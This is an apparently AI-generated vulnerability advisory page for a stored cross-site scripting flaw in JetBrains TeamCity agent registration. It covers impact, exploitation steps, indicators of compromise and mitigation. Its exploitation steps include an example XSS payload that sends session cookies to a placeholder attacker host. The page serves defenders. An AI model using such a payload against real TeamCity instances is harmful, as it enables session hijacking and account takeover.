CVE-2026-59795
JetBrains TeamCity Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-59795 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity that allows unauthenticated attackers to inject malicious scripts via the agent registration mechanism. The vulnerability affects all JetBrains TeamCity versions before 2026.1.2. It was published on July 10, 2026, with a patch available in version 2026.1.2. The CVSS v3.1 base score is 6.1 (Medium) per NVD, though the GitHub Advisory Database rates it 8.1 (High) using a slightly different vector (GitHub Advisory, JetBrains).

Detalhes técnicos

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the agent registration workflow. Because TeamCity permits unauthenticated agent registration, an attacker can submit crafted registration data containing malicious JavaScript payloads without any prior authentication. These payloads are stored server-side and subsequently rendered in the browsers of authenticated users (e.g., administrators) who view agent information pages, triggering script execution in their session context. No public proof-of-concept code has been identified at this time (GitHub Advisory, JetBrains).

Impacto

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of authenticated TeamCity users, including administrators, who view the compromised agent data. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim user, and potential account takeover. Confidentiality and integrity are both impacted (rated High in the GitHub Advisory scoring), while availability is not directly affected (GitHub Advisory).

Etapas de exploração

  1. Reconnaissance: Identify internet-facing JetBrains TeamCity instances running versions prior to 2026.1.2 using tools like Shodan or Censys, or by checking the TeamCity version endpoint.
  2. Identify agent registration endpoint: Locate the unauthenticated agent registration API or web interface exposed by the TeamCity server (no credentials required).
  3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into agent registration fields such as agent name or other metadata fields that are rendered in the admin UI.
  4. Submit registration request: Send the crafted agent registration request to the TeamCity server without authentication, causing the malicious script to be stored in the TeamCity database.
  5. Wait for victim interaction: When an authenticated administrator or user navigates to the agent management page in TeamCity, the stored payload executes in their browser context.
  6. Harvest session data: The attacker receives stolen session tokens or cookies, enabling session hijacking and unauthorized actions within TeamCity (GitHub Advisory).

Indicadores de compromisso

  • Network: Unexpected outbound HTTP requests from TeamCity users' browsers to external domains shortly after viewing agent management pages; unusual agent registration requests from unknown or external IP addresses.
  • Logs: TeamCity server logs showing agent registration events from unauthenticated sources with anomalous or unusually long agent name/metadata fields; access logs with POST requests to agent registration endpoints containing encoded script tags or JavaScript.
  • Application: Presence of unfamiliar or suspicious build agents in the TeamCity agent list with names or descriptions containing HTML/JavaScript syntax (e.g., <script>, javascript:, onerror=).
  • Browser/Session: Unexpected session invalidations or account activity for administrator accounts following visits to agent management pages.

Mitigação e soluções alternativas

JetBrains has released a fix in TeamCity version 2026.1.2; upgrading to this version or later is the primary recommended remediation (JetBrains, GitHub Advisory). As a workaround, organizations should consider restricting agent registration to authenticated users only if operationally feasible, and implement network-level controls to limit which hosts can register as build agents. Additionally, implementing a Content Security Policy (CSP) on the TeamCity web interface can reduce the impact of any XSS exploitation.

Reações da comunidade

The vulnerability received coverage from several security news outlets including GBHackers, CyberSecurityNews, SecurityOnline, and VPNcentral, which reported on JetBrains patching multiple vulnerabilities across TeamCity, YouTrack, and IntelliJ IDEA in the same release cycle (GBHackers, CyberSecurityNews). Social media activity was noted on Mastodon and Bluesky, though community reaction was moderate given the lack of active exploitation. The vulnerability was also discussed in the context of JetBrains' broader security update addressing six vulnerabilities across its product suite.

Recursos adicionais


OrigemEste relatório foi gerado usando IA

Relacionado JetBrains TeamCity Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploração do CISA KEV

Tem correção

Data de publicação

CVE-2026-63077CRITICAL9.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NãoSimJul 27, 2026
CVE-2026-59793HIGH8.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NãoSimJul 10, 2026
CVE-2026-59796HIGH8.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NãoSimJul 10, 2026
CVE-2026-59795MEDIUM6.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NãoSimJul 10, 2026
CVE-2026-59794MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NãoSimJul 10, 2026

Avaliação de vulnerabilidade gratuita

Compare sua postura de segurança na nuvem

Avalie suas práticas de segurança na nuvem em 9 domínios de segurança para comparar seu nível de risco e identificar lacunas em suas defesas.

Solicitar avaliação

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades